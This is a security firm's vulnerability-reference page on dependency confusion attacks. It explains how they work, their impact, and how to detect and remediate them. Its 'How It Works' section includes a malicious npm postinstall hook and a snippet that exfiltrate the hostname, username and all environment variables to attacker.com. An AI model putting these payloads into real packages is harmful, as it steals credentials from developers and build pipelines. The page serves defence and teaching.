SecureBlockLog inStart a pentest
Vulnerability Repository
HighSupply Chain

Dependency Confusion

Package managers fetch a public package with the same name as an internal package, allowing attackers to hijack builds and execute malicious code across the entire organisation.

CVSS 8.1CWE CWE-1104OWASP A06:2021 — Vulnerable and Outdated Components

Description

Dependency confusion (also called namespace confusion or substitution attack) is a supply chain attack where an attacker publishes a malicious package to a public registry (npm, PyPI, RubyGems) using the same name as a private internal package used by a target organisation. When the package manager attempts to resolve the package, it fetches the highest-versioned copy across all configured registries — and if the attacker has published version 9.9.9 of an internal package that is internally at version 1.0.0, the public malicious package wins.

CWE-1104 — Use of Unmaintained Third-Party Components is used broadly, but dependency confusion is more specifically a namespace integrity failure. Under A06:2021 — Vulnerable and Outdated Components, OWASP highlights the risk of trusting components without verifying their provenance — dependency confusion attacks require no vulnerability in the package itself; they exploit the resolution logic of the package manager.

The attack was brought to widespread attention by security researcher Alex Birsan in 2021, who successfully executed dependency confusion attacks against Apple, Microsoft, PayPal, Shopify, Netflix, Yelp, Tesla, and Uber, earning over $130,000 in bug bounties.

How It Works

An attacker follows these steps:

  1. Enumerate internal package names — these are often discoverable in leaked .npmrc files, Docker image layers, CI/CD pipeline configurations in public repositories, JavaScript bundle analysis, or job postings that mention internal tooling.

  2. Register the name on the public registry — publish @yourcompany/internal-utils (npm) or yourcompany-auth (PyPI) with a high version number.

  3. Include a malicious postinstall script:

{
  "name": "@yourcompany/internal-utils",
  "version": "9.9.9",
  "scripts": {
    "postinstall": "node -e \"require('https').get('https://attacker.com/collect?h='+require('os').hostname()+'&u='+require('os').userInfo().username)\""
  }
}
  1. Wait for a developer or CI/CD pipeline to install dependenciesnpm install fetches the highest version across all registries, runs the postinstall script, and the attacker receives hostname and username data confirming execution.

For more serious attacks, the payload exfiltrates environment variables (which often contain cloud credentials, API keys, and secrets in CI environments):

const env = JSON.stringify(process.env);
require('https').get(`https://attacker.com/exfil?d=${Buffer.from(env).toString('base64')}`);

Impact

  • Build pipeline compromise — malicious code executes on every developer machine and CI/CD agent that runs npm install, pip install, or bundle install.
  • Credential exfiltration — CI/CD environment variables containing cloud credentials and deployment tokens are immediately exfiltrated to the attacker.
  • Code signing subversion — in pipelines that sign artifacts, a compromised build step can sign malicious binaries with the organisation's legitimate code-signing certificate.
  • Lateral movement from CI — CI agents typically have broad access to source repositories, deployment environments, and internal APIs — all accessible after a build-time compromise.
  • Persistent backdoor — malicious packages installed into application code can include runtime backdoors that persist in production deployments.

Detection

  1. Enumerate all internal package names — compile a complete list of internal package names used across all projects and check whether any are registered on public registries (npm, PyPI, RubyGems, Maven Central).
  2. Review .npmrc, pip.conf, and Gemfile registry configurations — look for multi-registry configurations without explicit scoping rules that prioritise internal packages.
  3. Inspect CI/CD pipeline definitions — examine GitHub Actions, GitLab CI, and Jenkins configurations for dependency installation steps that do not pin to internal registry sources.
  4. Audit package-lock.json and yarn.lock for unexpected resolved URLs — any internal package that resolves to a public CDN URL rather than your internal registry URL is a potential dependency confusion hit.
  5. Set up monitoring for your internal package names on public registries — use the npm registry API or PyPI RSS feeds to alert when a package matching your internal naming conventions is newly published.

Remediation

Scope all internal packages to a private namespace. Use npm scopes (@yourcompany/) and configure .npmrc to route all scoped packages exclusively to the internal registry:

@yourcompany:registry=https://npm.internal.example.com

Pre-register internal package names on public registries. Publish empty, clearly-labelled placeholder packages for all internal package names to prevent attackers from squatting on them.

Use registry-specific lockfile entries. Configure package-lock.json or yarn.lock to pin resolved URLs to internal registry endpoints, preventing silent substitution.

Implement integrity checking. Use npm ci rather than npm install in CI pipelines — it enforces the lockfile and verifies package integrity hashes, rejecting any package that does not match the recorded checksum.

Ready when you are
Scope a pentest in the next two minutes.
Start scoping